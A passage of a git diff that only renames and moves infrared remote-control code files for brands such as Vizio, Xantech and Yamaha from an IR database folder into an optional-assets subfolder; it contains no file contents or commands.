b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/XORO/Sat/0,191.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/XORO/Sat/0,191.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir 